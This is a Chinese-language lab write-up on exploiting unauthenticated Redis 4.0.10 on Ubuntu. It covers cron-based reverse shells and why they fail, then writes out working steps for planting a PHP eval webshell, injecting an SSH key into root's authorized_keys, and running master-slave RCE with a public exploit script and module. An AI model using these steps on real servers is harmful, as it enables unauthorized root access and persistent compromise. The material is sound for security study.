0x00 背景
- 在復現redis未授權訪問漏洞時,通過向linux任務計划文件里寫反彈shell的命令時,發現shell並不能反彈回來,之前使用的server端為Centos,一切順利並沒有出現這種問題,結果這次server換成了ubuntu,就出現不能反彈的問題。
0x01 環境准備
- ubuntu16.04,用來任務計划反彈shell的靶機
- MAC,用來接收ubuntu反彈過來的shell
- redis4.0.10未授權訪問漏洞
0x02 具體過程
0x02.1 安裝redis
-
安裝:下載、解壓、編譯
1
2
3
4
5$ wget http://download.redis.io/releases/redis-4.0.10.tar.gz
$ tar xzf redis-4.0.10.tar.gz
$ mv redis-4.0.10 /usr/local/redis
$ cd /usr/local/redis
$ make
-
創建服務:二進制文件是編譯完成后在src目錄下,客戶端是/usr/local/redis/src/redis-cli,服務器是/usr/local/redis/src/redis-server。下面為這兩個文件做軟鏈接。
1
2$ ln -s /usr/local/redis/src/redis-cli /usr/bin/redis
$ ln -s /usr/local/redis/src/redis-server /usr/bin/redisd -
至此,表明你的redis已經安裝完畢。
0x02.2 修改遠程登陸配置文件
1 |
$ vim /usr/local/redis/redis.conf 配置文件 |


- 默認的配置是使用6379端口,沒有密碼。這時候會導致未授權訪問然后使用redis權限寫文件!!
0x02.3 攻擊利用
- redis基本命令
1 |
連接redis: |
0x02.4 利用計划任務執行命令反彈shell
- 在redis以root權限運行時可以寫crontab來執行命令反彈shell
1 |
先在自己的服務器上監聽一個端口 |
1 |
再次科普下: |
1 |
ubuntu下可以利用的cron有以下幾個地方: |

登陸ubuntu查看計划任務,已經成功寫入。但是發現計划中存在亂碼,也就是這些亂碼導致計划任務執行錯誤。
這是由於redis向任務計划文件里寫內容出現亂碼而導致的語法錯誤,而亂碼是避免不了的,centos會忽略亂碼去執行格式正確的任務計划,而ubuntu並不會忽略這些亂碼,所以導致命令執行失敗,因為自己如果不使用redis寫任務計划文件,而是正常向/etc/cron.d目錄下寫任務計划文件的話,命令是可以正常執行的,所以還是亂碼的原因導致命令不能正常執行,而這個問題是不能解決的,因為利用redis未授權訪問寫的任務計划文件里都有亂碼,這些代碼來自redis的緩存數據。
–
我們手動把亂碼刪除,發現依然無法成功反彈shell。這是為什么呢?

通過視頻資料發現ubantu下默認使用/bin/dash執行腳本的問題,解決方式:將shell環境修改為bash。

成功反彈shell

擴展思路
-
利用Redis未授權訪問寫定時任務反彈shell
-
利用Redis未授權訪問寫webshell
-
通過redis未授權訪問漏洞向ubuntu的web跟目錄下寫入一個webshell,然后要知道網站的根目錄,在該測試環境下網站的根目錄為/var/www/html
1
2
3
4set xx "\n\n\<?php @eval($_POST['test']);?>\n\n"
config set dir /var/www/html
config set dbfilename shell.php
save
-
-
利用redis未授權訪問向遠程服務器寫入ssh公鑰
1
2
3
4
5
6
7
8
9
10
11
12
13在本地生成一對密鑰:
$ ssh-keygen -t rsa
然后將公鑰寫入 key.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
之后利用redis未授權訪問漏洞將公鑰寫到/root/.ssh/id_rsa文件中
$ cat key.txt | redis-cli -h ip -x set crackit
接下來在redis-cli的交互式shell下執行
config set dir /root/.ssh
config get dir
config set dbfilename "authorized_keys"
save
這樣就可以成功的將自己的公鑰寫入 /root/.ssh 文件夾的 authotrized_keys 文件里,然后攻擊者直接執行
$ ssh –i id_rsa root@ip -
Redis 基於主從復制的RCE利用方式
-
什么是Redis主從復制
-
Redis是一個使用ANSI C編寫的開源、支持網絡、基於內存、可選持久性的鍵值對存儲數據庫。但如果當把數據存儲在單個Redis的實例中,當讀寫體量比較大的時候,服務端就很難承受。為了應對這種情況,Redis就提供了主從模式,主從模式就是指使用一個redis實例作為主機,其他實例都作為備份機,其中主機和從機數據相同,而從機只負責讀,主機只負責寫,通過讀寫分離可以大幅度減輕流量的壓力,算是一種通過犧牲空間來換取效率的緩解方式。
-
漏洞利用
-
下載Exp
- git clone https://github.com/Ridter/redis-rce.git
-
下載 exp.so
-
下載后放到 redis-rce 目錄下
- wget –no-chck-certificate https://github.com/n0b0dyCN/redis-rogue-server/raw/master/exp.so
-
-
利用
-
此處可以通過 -p 去設置目標端口(默認6379)
- python redis-rce.py -r <目標IP> -L <監聽的公網IP> -P <監聽的公網端口> -f exp.so
-
-
-
利用redis未授權訪問遠程命令執行\
-
鏈接:https://pan.baidu.com/s/1ZqSeFC4p-hoUjOGCs96wOg
提取碼:9qya -


